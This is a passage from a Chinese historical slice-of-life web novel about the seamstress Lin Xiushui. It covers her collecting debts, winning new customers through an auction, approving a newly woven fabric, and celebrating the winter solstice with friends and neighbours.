最近两人还算融洽,林秀水见她风风火火走来,笑问道:“桂花婶,你生意还没做够呢?” “谁会嫌钱多,我恨不得天底下的钱都是我的,”陈桂花将桶扔给吴大,自己搓搓通红的手。 她其他什么也不迷,就是财迷。 林秀水最佩服她一点,不管做什么生意,没有人敢欠她的钱,哪怕兜里有钱,可一文钱撒泼打滚讨回来。 “你脸皮子得厚,”陈桂花向她传授,“上手扯头花,死命拽着不让人走,比谁嗓门大,实在不行当着人家的面哭丧,要不我给你哭一段,我最近跟我那老婆婆就是可劲地嚎。” 她敢说,林秀水都不敢听,还是自个儿要去吧。 先去裁缝铺拿上没给钱的衣裳,到相对容易要的第一户人家去,这户人家住在桑桥渡孙家熟药局对面的巷子里。 当时那封大姐拿着自家私藏的三匹布过来,两匹红色的蔷薇花罗布,一匹水红色的宝花罗,说是只做袄子和旋裙,袄子要加三层丝绵。 丝绵的钱为一贯三钱,其他费用为两贯六,一共三贯九钱,那日给了定钱两贯,后面来拿说没钱,想先赊账,衣裳拿回去穿,林秀水没答应,说等有钱再来拿回去,结果一个多月了,愣是不来。 林秀水走到人家门口,大门敞着,她探身进去询问,“封大姐在家吗?” “来了,”屋里传来封大姐的声音,随即有个穿身红的女子掀开帘子出来,手里端个圆盘子。 封大姐一见林秀水,脚步缩两步回去,笑容也跟屋檐下的冰棱一样僵硬,想倒退回去关门,结果脚跟踢在门槛上。 “妹啊,我最近家里置办成婚的事宜,家里真没有闲钱,”封大姐唉声叹气,“不然我能不来拿吗。” “这样的,你看看我家里有什么东西,能抵那一贯九的,你就拿去吧。” 封大姐指着收拾出的一堆东西说:“果盒、果盘、桶架、菜盆、脚桶,这蒸笼可好用了,我用了好些年,它蒸出来的馒头包子没一个差的,我便宜点,五十文给你。” 林秀水冻得脸都僵了,当她眼下还搞缝补啊,收破烂上瘾啊,瞧不起谁呢。 她摘下布手套,搓搓自己的脸,走到屋子里去,打开天窗说亮话,“封大姐,这些东西我家里多的是,你要实在点,拿匹布来抵,什么布价我心里有数,多的我还能倒找给你,再把你定做的衣裳拿回去。” “你要拖着,等会儿腊月都过了,到开春里,袄子压根穿不上。” 封大姐让凑热闹的两个小孩走远点,尴尬地笑笑,眼珠子一转,“早说啊,我还真还有两匹布。” 她进去翻箱倒柜,在两只大红木箱子里找到了两匹布,藏了多久不知道,两匹布表面这一层发黄有脏污,瞧不出原本的模样。 弄得林秀水都认不出是什么料子,找了块布包手上,摊开来才看得出,她搓热手,摸了摸,这匹是木槿色绣花厚布,除了包裹住外层的一圈脏了外,里面倒是干净。 料子不错,没有粗布那种粗糙的手感,林秀水挺满意的,“就是脏污的地方要剪掉的多,起码有一尺,我顶多能出两贯二。” “行行,”封大姐也不指望能卖出高价来,这两匹颜色她不喜欢,一直没动。 另外一匹为豆绿色绸缎面,上面为深绿色龟背纹,太密了,林秀水瞥了一眼就合上,她不喜欢,收了也是砸手里的货,做出来很难好看。 只收了木槿色绣花厚布,来要账的,倒给封大姐三百文,林秀水抱着布料出了门,安慰自己至少没亏。 万事开头难,可在讨账这事上,开头难,中间难,结尾难。 林秀水又溜达到了南瓦子里,找里头以合笙为营生的汪二娘,合笙是靠说话为本事的行当,看客随意在周围指出一样物件,必须立即以此物为题做出诗来,一般干这行的女子要多点。 汪二娘就是其中之一。 只不过她油腔滑调的,来定做衣裳先对半砍价,当时金裁缝都服了汪二娘,跟林秀水吐槽,说就算她姓金,也不能拿她当金兵砍啊。 后来汪二娘着实喜欢新进的两款布,颜色耐看,又很厚实,一身做下来,价钱为十五贯。她先给了七贯钱,那会儿子说得天花乱坠,就算不吃不喝,也要付清剩下的八贯,穿上这套衣裳。 结果做好衣裳后,催她来拿,可一个月多十日,再也没见过她的身影。 到了热闹的南瓦子里,林秀水四处询问,找到汪二娘后,她终于明白,为什么再也没看到过她了。 合着当初说不吃不喝,原来是又吃又喝去了。 谁能想到一个月前竖着长的人,一个月后横着长了。 她捏了捏眉心,低头看手里的衣裳,汪二娘真不吃不喝,也穿不上了。 “我的肉当真冤枉啊,”汪二娘从台子上下来后,看见她就哭诉自己,“我上个月生了点病,那郎中给我开了几味方子,谁曾想竟是开胃的。” 她压低声音道:“一时胃口大好,多吃了点东西罢了。我怀疑是卖瓦药前那烧鸭放了东西,勾得人嘴馋,不然我不至于夜夜都想着吃。” “哎,眼下是袋子空空,肚子饱饱。” 林秀水拆台,“是啊,加了你的口腹之欲吧。” 汪二娘破罐子破摔,捏捏自己肉嘟嘟的下巴,“那你说咋办,我瘦也瘦不回去了,圆都圆了 ,除非你把我打扁我才能塞到衣裳里进去。你想让我拿剩下的八贯钱也可以,要排在烧鸭、羊脸肉、糟蟹、芥辣虾后面。” 林秀水呵呵笑两声,长的一斤肉没一点是冤枉的。 “我有两个主意,一是你自己付清定钱,拿回去转手卖了,二是在这里给我寻个能穿的买家,我把七贯定钱退还给你,你想吃整羊都没有问题。” 汪二娘又没钱,有钱她早就去把衣裳取回来了,选择接受第二个建议。 她让林秀水在一处空台子那等着,“你且等等,我给你摇人去,我们瓦舍里不仅女子多,有钱的女子更多。” 林秀水等得双腿发麻,站起来蹬了蹬,才见汪二娘领着十几个女子过来,模样不说,至少身形是从前瘦版的汪二娘,指定能穿。 做吹弹的尤姐儿说:“汪二娘说你这里有件顶好的衣裳,叫我们过来掌掌眼。” “什么好衣裳,让我们瞧瞧,别是汪 二娘这嘴巴吃了你的好处,”杂剧崔娘子掩着嘴巴笑了起来。 汪二娘气恼,“崔大妞,少胡说八道,再怎么样也得我真吃到好处再说,下次就吃你,王八加犊子,听起来也很好吃。” 两个人掐架,其他人早已见怪不怪,反而催促林秀水赶紧将衣裳拿出来看看。 林秀水也不急,她先是将大包袱解开,取出叠在最上头的背心夹袄,捏在手里,对着光照好的地方,展开来给大家瞧。 原本还在说话的一众人,将目光移了过去,只见那背心的料子跟寻常的不同,竟是由一块块不同花色的菱形布拼缝而成。 这些菱形大小相同,可每块颜色和里面的纹样却不一样,有水蓝、桃粉、浅紫、橙色,打乱分开排列,每一块的图案都很细致,桃、杏、梅、李等等,用着统一的偏金色线绣成,凑进看精巧绣美,退后几步再看,颜色和谐,半点不杂乱。 里面搭一条浅蓝色的衫子,瞧着没有多大的花样,直筒的,袖口处也是平平无奇,套在这件背心里却是绝佳。 汪二娘已经后悔了,她看见衣裳后,心里悔死了,明明是她的衣裳啊!跟她这种俏丽的长相简直相配,这种颜色在冬日里也显得很活泼,并不死板,关键是菱形拼缝做得出挑,跟百家衣那种完全不同。 她还在懊恼中,到底是管住嘴,还是借点钱,便听崔娘子说:“只是平展着看上去不错罢了,衣裳跟人一样,也是千人千面的,得穿上身才知道合不合适。” 林秀水无所谓,她对自己做的衣裳有底气,“尽管试,不满意还可以到我们水记全衣来做,保管从头到脚都是合身的。” 其他人根本没兴趣听她打招牌,猜拳让谁先上身,尤姐儿抢到了头一个,她人瘦,倒是怕这衣裳穿起来宽宽大大。 没想到哪怕只是套在她的银红色袄子外,这背心也很意外地服帖、合适,而且下摆做得很好,长短到臀部边上,却不会翘起来,尤其在里面还絮着丝绵,并不是薄薄一件的。 好不好,上身就知道,好的衣裳会遮住身上的瑕疵,比如尤姐儿有点含胸驼背,穿其他贴身的衣裳,都有点顺着后背拱起来,瞧着就别扭,这一点不硬挺,穿上遮住了后面露出来的脖子,让她显得很挺拔。 “别说了,给我吧,我能出十六贯,”尤姐儿立即护着衣裳,往后边跑边说,其他人群起攻之,忘了她们南瓦子的规矩了,那就是要讲义气。 其他人争抢,本来身形就相似,一上身都觉得不错,更是不肯让出去。 争抢不出来,只好扑买,将价钱写在纸上,价格跟林秀水新定的价钱最接近的得,林秀水精确到几文钱的,控制一下,不要抬高价。 虽然对她来说,价钱越高越好,可是对这些女子来说,每一文也是辛苦挣的,反正合适的价钱,双方都会高兴,太高昂的,只有拿到手的时候欢喜。 一群人跟赌一样,数着手指头,一文钱一文钱往上加,力求跟林秀水定的价钱最接近。 “多少啊?我写了十五贯六钱七十,” “我是十五贯九钱九十” “十五贯七钱” “十五贯三钱三” 大家写完各自扭头打听,林秀水等众人写完,将纸摊开来,十五贯一钱一。 “啊啊啊,”尤姐儿蹦起来,举起手臂欢呼,“是我,是我,我写了十五贯一钱!” 崔娘子怒道:“被你骗了,你不是说十六贯你都出得起,你好意思写个最低的。” “有什么不好意思的,各位,愿赌服输,”尤姐儿摇头晃脑,她将得意的脸凑到崔娘子手边,“不然你打我啊。” 崔娘子将她的脸撇到一边去,“懒得看你,你今日粉没抹匀。” “啊,天杀的,你怎么不早点说!”尤姐儿气死了,她赶紧找镜子。 林秀水趁大家懊恼之际,又给自己的铺子拉生意,“我们水记就在你们南瓦子对面,大家要是有想做的衣裳,我们都能做好,娘子们想做的话,我还可以给大家少些钱,就当交个朋友。” “那做一件,我这个人很挑的,不满意我是不会给钱的,”崔娘子说。 小唱的李画说:“我也想要那种拼缝的衣裳,只是我不大喜欢这么俏丽的颜色,你带我去瞧瞧,你们有什么好的料子。” 大家七嘴八舌地说,汪二娘独自伤心落泪,就算拿回七贯定钱,吃上最喜欢的烧鸭,她也不会再快乐了!都是这烧鸭毁了她! 林秀水接了许多生意,大冷天的都要笑出声来,拉了客也没忘记汪二娘,她笑眯眯地说:“多大点事,大不了新做一身,我保管你显瘦,不过这次,你得先把钱给我。” “给你给你,”汪二娘将还没捂热的钱还给她,“等着我凑齐,这回我铁定不吃了。” 林秀水晃晃钱,“等你哦,不过你吃再多也行,我们反正都是按你的身形来做。” “我再吃没钱了啊,没钱也可以做吗?” 林秀水微笑摇头,“不可以。” 想得美。 出门讨债,结果带回来一大帮生意,也是少见,金裁缝真佩服林秀水了。 林秀水先记下大家乱七八糟的要求,要好看要不同,还想要新奇,最好出众的同时跟其他人都不一样。 而后靠在椅背上,双手一摊,“那可不,不就是要账吗?要的够不够多,一下午要来十二套衣裳。” “够多,做完再说,这么多衣裳,我早前给富贵人家做衣裳的时候,可是一套衣裳做一个月的,精工细做,”金裁缝感慨。 林秀水烤着火,等她真的什么都不缺的时候,她也会像金裁缝那样,将全身心放在做衣裳上,一针一线,慢慢做上几个月。 她还得去买料子,将纸盖在自己脸上,“讨回了九贯多,还有就是还有些十来笔散账,得慢慢磨了。” 还真不一定能要回来,有些人脸皮太厚了,厚如城墙上的砖,不怕风吹雨淋,斧钺钩叉。 她得先将王娘子要的大袖衫给人家,把这笔买卖没收的钱拿回来。 林秀水也只能趁有空的时候去要,这边是要账,裁缝作那里是还账。 她们满池娇大多数的布料以及各种丝线,用针损耗,以及其他花边、领抹等等东西大多是挂在账上,有钱的话,一月一结,没钱就两月,三月,拖欠到有钱的时候再结。 有没有钱呢?答案是,约有。 相当于有和没有之间。 林秀水面对一堆账,想想满池娇十月赚了四百二十八贯,除去所有种种,尤其是这么多没还的债,根本没赚多少。 没赚多少,就是先还一部分后,她账面上只剩下三贯六钱。 “还买吗?”庄管事拿了钱,笑容可掬地问她,“还有一批好布,就是价钱上贵了点,我觉得你们满池娇肯定能用得起。” 林秀水抖抖账册,一脸无语,“我看着像很富有的人吗?” “像,”庄管事笃定。 林秀水穿得很像样,粉白绸缎衣裳,蓝裙子,往那一坐,就显得很 有钱。 “我装的,”林秀水说,她绝对不会买的,七贯一匹的料子,跟镀了金一样。 她都难以掩饰刚才她看见九月和十月,高达七百六十二贯采买布料钱的震惊,幸好她稳住了,她是见过大世面的人。 同样的布料,从生丝织出来变成生帛,再经过多道工序,变成彩帛,期间不知翻多少钱,短期来看,林秀水能负担起这笔高昂的费用,长期的话,她付不出来,对布料要求越高,花费越多。 幸而色织布在反复的试错后,终于有让林秀水满意的料子了。 头一匹是浅粉渐变的料子,犹如桃子尖和桃身的粉,丝丝缕缕,过渡得很自然。 布料是用染好的色丝织出来的,免不了线与线之间的轻微色差,拆了重织一遍又一遍,也免不了。 后面干脆就放弃同色,随便织,倒是有了意外的效果,一匹布上的轻微色差,导致渐变得很自然。 林秀水摸着眼前的料子,哪怕想再织成同样的纹路,也不可能。 而且这种布直接做衣裳,会比绣样和织金、销金堆叠而成更好。 一双双眼睛看着她,织了半个多月,一直被否决,大家都极为低落,相当于在做无用功。 “按我的眼光来说,相当好,我很满意,”林秀水朝大家说,“等过完冬至,再加把劲,第一批的料子会先在镇上用,等大家技术再精湛一点,可以多种丝线混织,再到临安,说不准以后还可以到其他州府里。” 在一步步被否决后,终于迎来了肯定,每个人脸上有着冬日里极为耀眼的笑容。 李娘子双手掩面,“真的吗?就这样织了吗?这半个月里来我拆了织,织了拆,我给自己数着,起码有五十来次,终于可以了!” “谁说不是呢,就是可惜了,这些丝线,拆拆织织,全都起毛边了,再也不能用了,”有人极为惋惜,浪费了好大一笔钱。 林秀水却不觉得,至少这些损毁的丝线,见证了大家数以百计的过程和努力。 等到每一件色织布衣裳出现在镇里的大街小巷时,那么努力有了另一种更为直观,和直击人心的回报。 大家沉浸在被肯定的喜悦里,林秀水则已经开始筹谋下一步。 下一步需要很久,那就先过节嘛。 她发出去不少节礼,领到了顾娘子给她备的节礼,尤其多,什么核桃、佛手、腊味,布匹等等不用说,最让林秀水震惊的是,给她送了大半扇羊肉。 “补一补,”顾娘子拍拍她的肩膀,“即使今年赚赚亏亏,可也要说,多亏有你。” “冬至添岁添福,保重好自己身体,以后还要看你往前迈步。” 林秀水有了莫大的感触,顾娘子也给予了她很大的肯定,让她知道,她的努力也有被深深地看见。 林秀水总是对自己很有信心,她说的话哪怕轻,语气也很昂扬,“会的,我希望不止我,大家也可以更好,不过今年还没有过去,我觉得我今年底也能有点小成就。” 顾娘子点点头,她说:“我很相信你。” 两人站在一起,又说了许多话,关乎眼下,关乎以后该怎么走。 转眼到了冬至前一夜,叫作冬至夜。 冬至夜有个不出名的传说,这天夜里是全年最漫长的一个晚上,夜里如果做梦的话,会很准。 “我希望我以后不用再写大字,”小荷将自己的手掌合拢,她知道晚上自己不会做梦,所以非常虔诚地当着她娘的面许下了这个愿望。 果不其然,就听王月兰冷笑道:“你做梦去。” “太好了,我会成真的,”小荷提着自己大红裙摆转圈圈,“太好了,老娘保佑我做梦。” 王月兰想打人,强行忍住了,她微笑道:“老娘还可以保佑你屁股开花,你信不信。” 小荷不想听,她装傻,“屁股是两瓣的,不会开花,娘你真厉害。” 母女两人斗法,林秀水则当听不见,在想羊肉哪个部位最好吃,听到走到她身旁的脚步声,头也没抬地说:“太可惜了,冬至过后你走了,吃不到这么好吃的羊肉了。” “是啊,怎么办?”陈九川问,真想不走算了。 林秀水有点舍不得,她指着羊肉说:“只好多吃点了。” “伸手。” 她不明所以,伸出两只手,陈九川给了她一个橙黄的大橘子,一只剥去壳的老菱。 橘子则为吉,菱角则像元宝,寓意发财。 她疑惑:“嗯?” 陈九川低下头说:“送给你,一是吉祥,二是发财。” 三是今夜做个好梦。 林秀水收下了,又反手塞到陈九川手里,笑眯眯地说:“好了,福气过一过,送给你了。” 此时屋外有人敲门,她赶紧跑去开门,小春娥一手拎条大鱼,一手提只大肥鸭,“看我干什么,冷死我了。” “搭把手呀,阿俏,你咋脸这么红,烤火烤的是不是?” 小春娥一脱手,从包里拿出个热乎乎的东西,街上到处有卖的,用面粉炸起来的饼,名字取得很大,叫长生果。 “我也送你个东西,长生果,快接着,阿俏,祝你永远不老。” 林秀水伸手接过,她眨眨眼,“这东西我很喜欢,不过永远不老是不是有点可怕?” 小春娥说:“管它呢,先许一把长生,愿望要往大了许。” 这一年的冬至夜,林秀水已经不在上林塘,没有孤单,冷清,她有了许多真挚的感情—— 作者有话说:红包[让我康康] 第93章 第 93 章 台上变装衣【上】 “绿蚁新焙酒, 红泥小火炉,” 小荷摇头晃脑地念诗,她念得含糊不清, 看看桌上的米酒,又踢踢脚边的泥风炉,再抬头望天, 背着手转一圈脑袋说:“晚来天欲雪,能饮一杯无?” 王月兰在屋里八仙桌上揉面,包大肉馅馄饨,时下习俗冬至吃馄饨, 俗语说大担馄饨,一口一个。 她拿一口细瓷碗出来舀面,听到小荷这么念, 转身回去,踮脚拿柜子最顶上的小罐,拆开一层又一层的油纸,舀一勺蜂蜜在碗里用热水冲泡开。 “饮吧,”王月兰好脾气地满足,搅搅勺子,让蜂蜜融化, 叫小荷过来喝。 这蜜可是紧俏货, 大家信蜂蜜治百病, 好的白蜜市面上难买得很, 还是别人专门从宣州带过来送林秀水的。 小荷把大红虎头帽戴脑袋上,她有的喝半点不嫌弃,小春娥逗她,“你再背首诗来听听。 小荷眼珠子一转, 捧着碗说:“甜,水真甜,努力多喝一碗半。” 桑英哈哈大笑,“小荷,你是不是想念,努力加餐饭。” “根本不用努力,”林秀水拍拍小荷的脑袋,小荷不服气,她双手叉腰道:“阿姐,你怎么不懂,我就是吃甜不努力,努力不吃苦。” 此话一出,在场众人闻言大笑,王月兰挑眉,“哦豁,有志气。” 只有林秀水深深明白,小荷说的努力不吃苦,到底不吃的是什么东西,酸甜苦辣咸,她不吃苦而已啊。 几个女人聚在一块,一直在说在笑,陈九川很局促,很局促地包手里的荠菜冬笋肉末、莲藕鲜肉、虾仁三鲜馄饨,很局促地拿过虾皮,切好葱段,芹菜末,等着鸡汤沸腾。 期间再希望林秀水搭理一下他,说笑都把他给忘得一干二净。 不过后来,陈九川宁愿没人搭理他。 此时头上簪一大朵菊花的张木生进门,手里提两条黑鱼,一块豆腐,一只酱鸭儿,还有一只老鸭,乱七八糟走了过来。 他见了女客也一点不局促,面皮黑,看不出来,张口便是,“正好给各位添几道菜,冬至大过年嘛,多多进补。” 王月兰也不客气,去拿了酱鲫鱼和酱肉,叫张木生带回去。 张木生忙点头应好,也没有走,看见陈九川嘿嘿一笑,举起手喊道:“川哥,正好找你呢,听说你要去明州,我有东西要送你。” 陈九川一看他嬉皮笑脸的,就知道没憋好屁。 “什么东西,”林秀水有点好奇,“你们两个还挺要好啊。” 张木生低下脑袋掏篮子,兴冲冲解释道:“确实挺好的,川哥给我介绍了水行的路子,前几日还给我们潜火队送了一架太平车,老贵了,比我们修了十几次的平头车好用太多了,运水救火也不费劲。” 潜火队里的人都很感激陈九川,太平车用了很多的铁皮,起码十几贯。且料子用的是椿木做的,耐腐耐震又很坚固,可以短途运送超大缸的水不会晃倒,名字寓意也很好。 林秀水有点费解,两人关系真有那么好了? 当然没有,陈九川看张木生挺不顺眼的,只不过他想这是林秀水的朋友,朋友不管是女或是男,越多路子越好走,他不会破坏这种关系。 只不过他没想到张木生会说这件事,他也没法解释清楚。 桑青镇人口稠密,现有的军巡铺和望火楼已经无法满足潜火的需求,防火司要往外扩建。 在选址当中,陈九川走 船运,人脉很广,他知道桑桥渡在今年明年内,会添置一座望火楼,里面潜火兵以张木生所在的潜火七队为主。 在这里,望火楼是富庶的分隔线,望火楼和军巡铺多的地方,多半是富人居住的金银巷、山水桥,他们很害怕走火。 可比起他们的大宅院,货物多的铺子更容易发生火灾。 陈九川只是很清楚,在桑青镇里,夏天发生火情并不多,反而冬天里。 生炉子生火盆放炮仗,家家户户堆满了柴火,冬风干燥易燃,每一日都会起火,南货坊和桑树口也不例外。 所以他走之前,给管桑桥渡的潜火六队和七队各送了一架太平车,以水记的名义,虽然不希望,但必要时一定能派上用场。 陈九川不愿意说,张木生大夸特夸,“这架太平车可以载三大缸的水,尤其在我们桑桥渡这种路不好走的地方,比便宜的平头车可好使多了,我们就这两日,比以往更早扑灭了好几间起火的屋子,没酿成祸患,可算是帮了大忙了……” 他叽里呱啦说了一通,陈九川没什么太大的情绪,直到林秀水夸道:“陈九川你很有潜火义社的风范。” 陈九川立即来了句,“那看来我们志同道合。” 张木生连连点头,“那可太对了。” 说了句人话,陈九川看张木生一眼。 不料下一瞬,张木生终于完成了掏篮子的动作,掏出一朵超大的粉红象生花,“来,川哥,这是我精心挑的,送给你,好汉戴好花,出门不用怕。” 陈九川嫌弃地转过脸,叫什么木生,改名叫花生,倒过来叫生花,还能叫老眼昏花,一朵奇葩。 桑英笑趴下了,她边捂住肚子边伸手说:“给我吧,你给我哥也是白搭,让他簪朵花跟要了他命一样,花朝节都不应景的主,遥想以前在上林塘,我们还有下田簪花的。” “妹啊,还是你懂我的苦心,”张木生差点没哭出来。 林秀水倒是努力不笑,力求很严肃,又没忍住,笑出了声,还往他头上瞟。 很难想象陈九川簪上的样子,毕竟在男子簪花成为盛行和风潮,互送簪花也成为正常的人情往来,可他居然不簪花,从头到脚很干净。 几人欢笑着,林秀水戴了满头的花,她笑得眉眼弯弯,故意道:“要不我送你一朵,我们这不叫簪花应风雅,叫作锦上添花。” “好。” 他应得这么爽快,倒是换作林秀水发愣,她仰头,只记得自己图好看,往头上簪了一堆的花,白的蓝的粉的紫的,如今已经分不清了,只好说:“你自己取吧。” 她感觉有手轻轻拂过耳畔,鬓发,看陈九川取下了一朵梅花,斜插在黑色帽子边上,倒不俗气,颇有点少年风流意气。 林秀水偏过头,没有多看,热闹与喧嚣里,谁也没有发觉两人的暗潮涌动。 后来只听桑英围着陈九川惊叫,“天呐,哥你哪里来的梅花,不是,你咋会簪花了呢?” 她绕了好几圈后,陈九川没说半个字,终于消停,才点点头说:“梅花挺好挺好的。” “有句诗怎么说来着,江南无所有,聊赠一枝春。” “什么意思,”小春娥好奇。 小荷显摆,头仰得高高的,“我知道,是聊着聊着,春天就会早点来,就是她不带点东西来,什么也没有,这怎么可以。” 解答得乱七八糟,王月兰一把薅住她,“少胡说八道,冬至添岁,你多念点好的。” “阿弥陀佛,保佑保佑,”小荷举起双手重重合上。 众人哄堂大笑,林秀水也笑,忽而闻到梅花的香气,她笑容渐缓渐深。 有过冬至添一岁的说法,大家一起吃了馄饨,烤火,说话,坐在火盆前,等待夜晚的过去,冬至的来临,此时也是人间小团圆。 过了冬至前一夜,到冬至当日,陈九川要和桑英起早回上林塘,林秀水送完小春娥,再送两人出门。 此时阴云蒙蒙,月色昏昏,家家户户挂红灯笼,远处仍有炮仗几声噼啪。 桑英坐在船上昏昏欲睡,陈九川提一个大包袱,林秀水塞给他的,嘱咐道:“给你做的,到上林塘后再试。” “听说明州多雨,记得穿油衣。” “小荷的话送给你,努力加餐饭。” 她没有喋喋不休,只是轻声说着再会,两人聊了许久才停,怪夜色太匆匆。 月亮在她身后升起,月晕笼罩着她,在陈九川心里,月亮永远不会落下。随着日子的过去,忽远忽近,会朦胧会明亮,直到他再次回到这里,等着久别重逢后的月圆。 后来他在上林塘里打开包袱,里面有两件厚油衣,还有两件圆领厚袍,一件是青色锦面竹叶竹节纹的,一件则为蓝色,绣了很多黄色的小杏子,他试过,很合身。 只是他不懂,之后才明白上面的纹样,竹为竹报平安,多杏为多幸。 没有说的话,一针一线全告诉他了,他都知道了。 ———— 陈九川走后,冬至来临,日子会越来越冷,林秀水此时仍有点不习惯,老是喊出声,才收回口。 冷天里,她穿上了自制的紧身里衣,自己穿不算,给王月兰跟小荷、桑英、小春娥都提前做了一套,裤子有些紧窄,贴身,不宽松,谁都逃脱不了穿秋衣秋裤。 一穿上就脱不下来,不是紧得脱不下来,而是舒服得不脱。 所有衣裳里,冬天里穿裤子是最为人诟病且烦恼的,穿裤子如厕,就像穿上了扫地裤,从蹲下开始裤脚开始打扫地面。 很锻炼冻得僵硬的手和脚,手忙脚乱地把裤子解开,又要用两只手提起裤脚,将宽大的裤子拢做一团,边弄边恨怎么有两个裤腿。 因为时下裤子只有两种,一是穿裙子里的,多半是开裆裤,另一种则为合裆,又称作满裆,侧开衩穿的,裤脚很宽大而且不便。 林秀水夏天喜欢穿裤子,裤子两边侧开衩,走动起来很好看,冬天就改良裤子,不然上下台阶,只穿平头鞋,不穿翘头履,很容易踩到裤腿。 别人削足适履,她削裤腿。 阔腿变成收身的直筒裤、衬裤,腰间的多层系带改为收紧的裤腰带,不过没人理解她,以为她在省布料,一条裤子抵合裆裤一条裤腿。 做这行也凭天地良心,改良裤子,别人以为她在暗改自个儿的良心。 裤与裤不同,不相为谋。 当然,也有人非常喜欢林秀水的改动。 冬至当天,走了三条街巷过来,穿着林秀水做的衣裳。 葛大娘住在桑绫弄附近,一个掉下把剪刀,都会引来一群裁缝的地方,成衣铺多如布匹,她却唯独喜欢绕远路到水记来做衣裳。 她总是说,那里的裁缝不听我的话,她们总觉得我老了,不用走动,在家里不穿衣裳都是合理的。 其实葛大娘那时要求很简单,想要一条合身的裤子,一身不是青蓝绿褐的衣裳。 那时林秀水给她量身做了一条直筒的衬裤,一条收口的灯笼裤,葛大娘穿上后爱不释手。 有一年里,葛大娘穿着满裆裤,走在小石桥上,要上去有很多台阶。她走得有点急,裤腿被脚踩住,只听咵嚓一声,她以为是裤子被扯裂了,后知后觉,原来是她骨头裂了,养了三个月才好。 “这回我走路可不怕了,”葛大娘扯开裙子,露出里面收口的白色罗裤,刚好到脚踝处,兜袜塞进去就不怕灌冷风。 裤腰不是绑系带的也很好,她年纪大了,动作迟缓,穿脱不方便,抽松紧的话很方便。 “哪怕走远道,我也要过来多谢你,”葛大娘太欢喜了,她很想要把自己这份欢喜,也诉说给林秀水听。 她时至今日,才穿上一套自己喜欢的衣裳,一件黑色绣花背心,配有领子的紫色暗纹袄子,袖口不宽大,也是直筒收口的,裙身是紫黑两色的,不说做得多华丽,却是葛大娘自己喜欢的。 她笑得很慈祥,“你瞧瞧,我为了穿这身衣裳,还特意找我们那边有名的梳头婆子,梳了个时兴的发髻。一穿出门,我几个老姐妹都夸我,说我又添了一岁,却比从前要年轻。” 林秀水请她进屋喝茶,笑着说:“大娘你喜欢便好。” “喜欢喜欢,我几个老姐妹也喜欢,赶明儿等你开门,我们一块再来做几件,”葛大娘说得高兴,笑得露出牙齿,拍着林秀水的手说,“你做衣裳做到我心坎里去了。” 又说了许多话,放下沉甸甸的节礼后便走了。 她走后,林秀水收拾果盘,今日不出门,冬至大过年,有不少人上门来给她送节礼。 苏巧娘来得很早,她每次逢节就会上门来,自打之前的小布袋戏社,和林秀水给她卖布袋木偶后,她有了不少本钱,租了个街脚的浮铺,卖点布袋木偶。 在林秀水的帮忙下,她和做绢人的绢婆婆一起卖各种布偶,生意有了很大起色,她也在南瓦子里,又租了块小地方,作为小布袋戏社专门的地段,带小孩玩耍学些手艺,可以达到自给自足。 苏巧 娘将一匹布放下,转向林秀水,整个人精气神十足,眼神明亮,“前些日子,南瓦子里还找我去做木偶戏,说给我个台子。” “只不过我给回绝了,好久前确实想要回去,愤愤不平,觉得自己一定可以在南瓦子找回面子和场子,到如今,感觉也不那么重要了。” 重要的事有很多,只是这个不重要了。 去年冬至她在傀儡班子里,吃一碗冷饭,今年的话,她已经有一席之地,安身立命,有徒弟传承手艺,有孩童喜欢布袋木偶,如此便已经足够。 她很感激林秀水,觉得这份恩已经很难回报,总是记挂着,时时念着,找到机会就报答。 林秀水却揽过她的肩膀说:“以前你说过,传承这门手艺,可以等一年两年十年,那我也要说,等到十年以后,再说谢我不迟。” 待她说完,两人相视一笑,一切都在不言中,人生难得有幸能相遇。 陆陆续续又有人上门,诸如李习闲和皮六这一种,平日一般不出现,每逢节日必定登门,王月兰都对两人很熟悉了。 还有陈桂花,她今年难得出乎意料,很肯舍得下本钱,真买了一头猪,不算太大,是那种小猪,自己扛在肩上过来的。 她也不顾王月兰惊异的神色,自顾自进门,“又不是给你的,看什么看,就算晚些吃到你嘴里,那也不是给你的,我是给我秀姐儿的。” “秀姐儿,”陈桂花扛得满头汗,兴致勃勃地招呼,“还记得我那时候找你补衣裳,我说我命值钱得很,起码值一头猪。” “来了,你的猪它送来了。” 陈桂花是真托了林秀水的福,给她指点迷津,真让她自己走出了一条路,眼下别说在自家,就算在娘家,她也是长脸得很。 她也实打实有钱了,人一有钱,她没那么抠抠搜搜的,想着兑现自己曾经说过的话。 老娘值钱得很。 林秀水看到她这模样,差点没笑趴下,什么叫猪来了。 王月兰看得好笑,上前搭了把手,陈桂花哼一声,“记着我的好,今年叫你嘴巴享福了。” “对,托你的福,我也能吃上你陈桂花送来的猪,我今天吃猪蹄子,明天吃猪肉,后天我炖猪头,感谢你的猪,”王月兰半点不恼。 陈桂花翻个白眼,真叫王月兰显摆上了,那可是她花一贯五钱买来的猪! “你吃一块就得了,我给我秀姐儿跟小荷的,大馋嘴老丫头,还烀猪蹄子呢,”陈桂花气哼哼,“秀姐儿,你多吃些,我挑的好猪肉呢,明年等我挣到许多钱,我还给你送。” “得了,恭祝你发财,”王月兰接话,林秀水笑岔气了,正揉肚子还没缓过神来。 陈桂花要走,王月兰又喊住人家,还了一块羊肉,一堆炒货,还有她买的一包茶叶,估摸着也有一贯多,没白占陈桂花便宜。 “你多吃块肉,”陈桂花有便宜不占白不占,嘴巴也甜,“猪肚子那好肉你且吃着,炖久点,吃得烂糊。” 王月兰看她喜气洋洋地走远,又好气又好笑,“嘿,瞧瞧这人。” 林秀水看了眼猪说:“真实诚。” “我上哪剁去啊,得找个肉行的来,”王月兰颇为棘手,正好冬天里不用买肉吃了。 等她出门后,孙大就上门的,携一双儿女过来,穿得一身红通通,喜气洋洋地给林秀水拱手作揖,“小娘子,冬至如意,四季发财。” “特意从临安赶回来,给小娘子送银钱节礼的,”孙大笑嘻嘻地说,“托小娘子你的福,我孙大也算是脱胎换骨,从人模狗样到人模人样了。” 林秀水失笑,他从兜袋里摸出九锭银子来,搁在桌上,又推到林秀水跟前,是林秀水让他卖东西,没有提前收取的本钱。 她掂了掂,笑盈盈收好,这批的衣物大概值六十五两,赚二十五两银。 孙大坐下来说:“临安的莲裙买卖眼下很好做,尤其是寺庙里,我这些时日中,寻摸出了一样门道。” “灵隐寺前头有个出名的算卦摊子,叫作玉莲相的,他算卦算得准,四面八方慕名到他这里来的,”孙大张开两只手,“十来个地方不止。” 林秀水没说话,抓了两把糖给孙大的一双儿女,叫小荷跟着一块去院子玩,再听孙大继续说:“他每日来客众多,我就花些钱,在他边上占点位置,听下来发现大家所求太多。” 